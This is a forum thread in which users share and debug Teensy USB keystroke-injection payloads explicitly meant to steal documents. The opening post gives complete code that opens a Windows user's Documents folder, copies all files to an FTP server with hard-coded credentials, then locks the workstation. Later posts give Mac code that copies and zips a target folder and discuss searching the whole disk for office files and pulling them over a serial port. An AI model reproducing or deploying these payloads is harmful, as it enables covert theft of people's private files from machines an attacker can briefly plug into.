Jump to content

[Version 1] Document Steal


Recommended Posts

Bit of a messy code, but the idea of this payload is that it will take the users document and upload them to an ftp server, this could take a while depending on speed and size. it also lock the work station once it starts.

void setup(){
  delay(6000);
  run("documents");
  delay(2500);
  ctrla();
  delay(100);
  ctrlc();
  delay(100);
  tab();
  tab();
  space();
  delay(200);
  echo("ftp://192.168.0.8"); //ftp server
  enter();
  delay(2000);
  echo("ducky");//username
  tab();
  echo("quack");//password
  enter();
  delay(200);
  tab();
  tab();
  tab();
  tab();
  space();
  delay(1000);
  ctrlv();
  delay(5000);
  run("rundll32.exe user32.dll, LockWorkStation ");//lock workstation
}
void loop(){

}
void run(char *command){
  Keyboard.set_modifier(MODIFIERKEY_GUI);
  Keyboard.set_key1(KEY_R);
  Keyboard.send_now();
  Keyboard.set_modifier(0);
  Keyboard.set_key1(0);
  Keyboard.send_now();
  delay(700);
  Keyboard.print(command);
  delay(300);
  enter();
  delay(300);
}
void enter(){
  Keyboard.set_key1(KEY_ENTER);
  Keyboard.send_now();
  Keyboard.set_key1(0);
  Keyboard.send_now();
}
void ctrla(){
  Keyboard.set_modifier(MODIFIERKEY_CTRL);
  Keyboard.set_key1(KEY_A);
  Keyboard.send_now();
  Keyboard.set_key1(0);
  Keyboard.set_modifier(0);
  Keyboard.send_now();
}
void ctrlc(){
  Keyboard.set_modifier(MODIFIERKEY_CTRL);
  Keyboard.set_key1(KEY_C);
  Keyboard.send_now();
  Keyboard.set_key1(0);
  Keyboard.set_modifier(0);
  Keyboard.send_now();
}
void ctrlv(){
  Keyboard.set_modifier(MODIFIERKEY_CTRL);
  Keyboard.set_key1(KEY_V);
  Keyboard.send_now();
  Keyboard.set_key1(0);
  Keyboard.set_modifier(0);
  Keyboard.send_now();
}
void tab(){
  Keyboard.set_key1(KEY_TAB);
  Keyboard.send_now();
  Keyboard.set_key1(0);
  Keyboard.send_now();
}
void echo(char *text){
  Keyboard.print(text);
  delay(100);
}
void space(){
  Keyboard.set_key1(KEY_SPACE);
  Keyboard.send_now();
  Keyboard.set_key1(0);
  Keyboard.send_now();
}

Tested on Windows 7 should work on vista. Could work on xp with a little edit.

Link to comment
Share on other sites

Ah, right, i though you were doing via the command prompt, but your opening the window and pasting the files.

You should make the delays ALOT shorter if your going to be using this because even if they go away for ~15 seconds, it will still be running.

Link to comment
Share on other sites

You should make the delays ALOT shorter if your going to be using this because even if they go away for ~15 seconds, it will still be running.

yeah i know, but long delays let you see it working, it's better for testing it. i also want to make it move the window off the side of the screen. i'll have a play about when i get home.

Link to comment
Share on other sites

  • 1 month later...

I have done something like what you had, take the user's document, zip it, and save it to external memory (will be inside sd card but I dont own one at the moment so it saves it onto desktop). However, I wonder about what if this certain document is located elsewhere? How would we be able to get Teensy to find it and steal it? Any ideas? Here's the code I came up with... any help is greatly appreciated. :]

const int ledPin = 11;

int state = LOW;

void setup(){

pinMode(ledPin, OUTPUT);

digitalWrite(ledPin, LOW);

}

void loop(){

cmd();

copyMoveFile();

delay(600);

zipFile();

delay(1000);

deleteFiles();

closecmd();

if (digitalRead(ledPin) == HIGH){

digitalWrite(ledPin, LOW);

}

else{

digitalWrite(ledPin, HIGH);

}

delay(1500);

}

void cmd(){

Keyboard.set_modifier(MODIFIERKEY_GUI);

Keyboard.send_now();

Keyboard.set_key1(KEY_SPACE);

Keyboard.send_now();

Keyboard.set_modifier(0);

Keyboard.set_key1(0);

Keyboard.send_now();

delay(100);

Keyboard.print("Terminal");

Keyboard.set_key1(KEY_ENTER);

Keyboard.send_now();

Keyboard.set_key1(0);

Keyboard.send_now();

delay(600);

}

void enter(){

Keyboard.set_key1(KEY_ENTER);

Keyboard.send_now();

}

void release(){

Keyboard.set_modifier(0);

Keyboard.set_key1(0);

Keyboard.send_now();

}

void copyMoveFile(){

Keyboard.print("ditto testing secret"); //copy this folder

enter();

release();

Keyboard.print("mv secret Desktop"); //moves to desktop or to any directory

enter();

release();

}

void zipFile(){

Keyboard.print("cd Desktop");

enter();

release();

Keyboard.print("zip -r zippedSecret.zip secret"); //zips the file

enter();

release();

}

void deleteFiles(){

Keyboard.print("rm -R secret");

enter();

release();

Keyboard.print("rm zippedsecret.zip"); //removes the zipped file

enter();

release();

}

void closecmd(){

Keyboard.set_modifier(MODIFIERKEY_GUI);

Keyboard.send_now();

Keyboard.set_key1(KEY_W);

Keyboard.send_now();

release();

digitalWrite(ledPin, HIGH);

delay(1000);

}

Link to comment
Share on other sites

I have done something like what you had, take the user's document, zip it, and save it to external memory (will be inside sd card but I dont own one at the moment so it saves it onto desktop). However, I wonder about what if this certain document is located elsewhere? How would we be able to get Teensy to find it and steal it? Any ideas? Here's the code I came up with... any help is greatly appreciated. :]

const int ledPin = 11;

int state = LOW;

void setup(){

pinMode(ledPin, OUTPUT);

digitalWrite(ledPin, LOW);

}

void loop(){

cmd();

copyMoveFile();

delay(600);

zipFile();

delay(1000);

deleteFiles();

closecmd();

if (digitalRead(ledPin) == HIGH){

digitalWrite(ledPin, LOW);

}

else{

digitalWrite(ledPin, HIGH);

}

delay(1500);

}

void cmd(){

Keyboard.set_modifier(MODIFIERKEY_GUI);

Keyboard.send_now();

Keyboard.set_key1(KEY_SPACE);

Keyboard.send_now();

Keyboard.set_modifier(0);

Keyboard.set_key1(0);

Keyboard.send_now();

delay(100);

Keyboard.print("Terminal");

Keyboard.set_key1(KEY_ENTER);

Keyboard.send_now();

Keyboard.set_key1(0);

Keyboard.send_now();

delay(600);

}

void enter(){

Keyboard.set_key1(KEY_ENTER);

Keyboard.send_now();

}

void release(){

Keyboard.set_modifier(0);

Keyboard.set_key1(0);

Keyboard.send_now();

}

void copyMoveFile(){

Keyboard.print("ditto testing secret"); //copy this folder

enter();

release();

Keyboard.print("mv secret Desktop"); //moves to desktop or to any directory

enter();

release();

}

void zipFile(){

Keyboard.print("cd Desktop");

enter();

release();

Keyboard.print("zip -r zippedSecret.zip secret"); //zips the file

enter();

release();

}

void deleteFiles(){

Keyboard.print("rm -R secret");

enter();

release();

Keyboard.print("rm zippedsecret.zip"); //removes the zipped file

enter();

release();

}

void closecmd(){

Keyboard.set_modifier(MODIFIERKEY_GUI);

Keyboard.send_now();

Keyboard.set_key1(KEY_W);

Keyboard.send_now();

release();

digitalWrite(ledPin, HIGH);

delay(1000);

}

Link to comment
Share on other sites

I have done something like what you had, take the user's document, zip it, and save it to external memory (will be inside sd card but I dont own one at the moment so it saves it onto desktop). However, I wonder about what if this certain document is located elsewhere? How would we be able to get Teensy to find it and steal it?

You may a problem making it find the drive, cos drive letters change depending on the computer.

I guess Your working on linux?

Link to comment
Share on other sites

Hi! Thanks for replying. I'm actually working with Mac. I know that the terminal is capable of showing me all the hidden files and such, I just have some trouble coming up with the right way to program Teensy to look for these files if they are not in the current directory. If the files i'm looking for is on the Desktop but I'm currently on the user's files on the Terminal, how would I plan this so Teensy know where to go? Is there anyway we can get Teensy to READ inputs from the computer and carry out certain commands based on the what it receives? Thanks alot!!! :)

Bits1

Edited by BITS1
Link to comment
Share on other sites

I just have some trouble coming up with the right way to program Teensy to look for these files if they are not in the current directory. If the files i'm looking for is on the Desktop but I'm currently on the user's files on the Terminal, how would I plan this so Teensy know where to go?

Is there anyway we can get Teensy to READ inputs from the computer and carry out certain commands based on the what it receives? Thanks alot!!! :)

Bits1

Hi

Im not to good with osx, but could you do a search of the whole hard disk for say .doc .xls .ppt .html .txt and so on then make a copy of those files. you might need to do it using the GUI

You can set the Teensy to read the caps lock num lock and scroll lock keys, best to look on iorngeeks website for an example this.

Link to comment
Share on other sites

Hi

Im not to good with osx, but could you do a search of the whole hard disk for say .doc .xls .ppt .html .txt and so on then make a copy of those files. you might need to do it using the GUI

You can set the Teensy to read the caps lock num lock and scroll lock keys, best to look on iorngeeks website for an example this.

Thats a great idea actually. What I had Teensy do originally was once its on the terminal, it will make a quick zip file of the Documents folder, then moves it to an SD card and then close the terminal. This is just me assuming that the Document folder is on my home directory. However, what if the user has a document folder on desktop and it couldn't find the Document folder on its home directory. Thus, I suppose Teensy can't read the output of the terminal saying something like: no folder found, no permission... ? This would not work for me then. :( Do you have any recommendations? You said that Teensy can read cap locks and other key presses, do you know where the library is located? And thank you for your suggestions, I will go check out irongeek's website again to see if he has any new posts. :]

Bits1

Link to comment
Share on other sites

Thats a great idea actually. What I had Teensy do originally was once its on the terminal, it will make a quick zip file of the Documents folder, then moves it to an SD card and then close the terminal. This is just me assuming that the Document folder is on my home directory. However, what if the user has a document folder on desktop and it couldn't find the Document folder on its home directory. Thus, I suppose Teensy can't read the output of the terminal saying something like: no folder found, no permission... ? This would not work for me then. :( Do you have any recommendations? You said that Teensy can read cap locks and other key presses, do you know where the library is located? And thank you for your suggestions, I will go check out irongeek's website again to see if he has any new posts. :]

Bits1

Yeah , I tend to have a load of documents all over the place tbh don't use my documents too much. so a search is likely to work better.

Nope the Teensy can not read a terminal output

If you used Iorngeeks phukd library you can use the code "int ledkeys(void)" if you don't wan to use his library best thing to do would be ask him or download his library and have a look inside to see how it works.

Link to comment
Share on other sites

I'm having an issue with something loosely related so I hope one of you can help me out. I understand that using a backslash key in C is considered to be an escape character, and you are supposed to be able to use double backslashes to indicate that you actually want to use a backslash but I haven't gotten this to work with Teensyduino. I was attempting similar code that connected to an FTP through command prompt and copied files but when using the absolute path of the local file that I wanted to copy to the FTP server, I got a compiler error for this line:

ExecuteCommand("put c:\windows\notepad.exe");

The compiler error states: "unknown escape sequence \w"

So I attempted to change it to:

ExecuteCommand("put c:\\windows\\notepad.exe");

It now compiles with no errors, but it completely ignores the line altogether and skips to the next command. Any ideas?

I am a network engineer and I'm just now trying to learn the basic fundamentals of development so go easy on me if I'm missing something easy. :)

Link to comment
Share on other sites

I'm having an issue with something loosely related so I hope one of you can help me out. I understand that using a backslash key in C is considered to be an escape character, and you are supposed to be able to use double backslashes to indicate that you actually want to use a backslash but I haven't gotten this to work with Teensyduino. I was attempting similar code that connected to an FTP through command prompt and copied files but when using the absolute path of the local file that I wanted to copy to the FTP server, I got a compiler error for this line:

ExecuteCommand("put c:\windows\notepad.exe");

The compiler error states: "unknown escape sequence \w"

So I attempted to change it to:

ExecuteCommand("put c:\\windows\\notepad.exe");

It now compiles with no errors, but it completely ignores the line altogether and skips to the next command. Any ideas?

I am a network engineer and I'm just now trying to learn the basic fundamentals of development so go easy on me if I'm missing something easy. :)

Hi!

I had a problem with something similar to what you have. I was trying to have the Keyboard type in "ifconfig | blah blah..."

the Straight line would not go in as a string, just like what you had on yours, the backslash. For me, I had to do something like

Keyboard.print("ifconfig");

KeyCombo(MODIFIERKEY_SHIFT, KEY_BACKSLASH); <- this is just a method that I have defined in my code to type in the straight line,

so for your command, you might have to break up that string and have the keyboard type out the backslash instead of having it inside the string.

If you found a better idea, please post your answer on the forum so we all can learn from it. :) Thanks!

Bits1

Link to comment
Share on other sites

Yeah , I tend to have a load of documents all over the place tbh don't use my documents too much. so a search is likely to work better.

Nope the Teensy can not read a terminal output

If you used Iorngeeks phukd library you can use the code "int ledkeys(void)" if you don't wan to use his library best thing to do would be ask him or download his library and have a look inside to see how it works.

Hello,

In the new Teensyduino 0.9, Paul included the option of making the teensy with the SD card into a serial port. I have done some research that tells me I can have the teensy request the computer to search for a document and listens for the computer to respond whether it finds the document or not. If it did, then the teensy can have the computer transfer the documents in bits over to the teensy, which will create the file with that same name and dump all the data into it. Once its finish, the teensy can blink the light to notify the user. I can see that this is possible, however, I have not seen any EXAMPLES or any projects that has something to do with file transfer and serial ports with the Teensy. The SdFat library do contain some examples about creating file but it only generates files within the root directory, which is the SD card. If I were to send commands on the terminal to send files to the serial port (teensy in disguise) , I'm doing this on the user's behalf and so I worry about permissions. Do root users only have the rights to read and write files? What about the regular users who do NOT have administration rights? Thank you for your help.

Sincerely,

Bits1

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...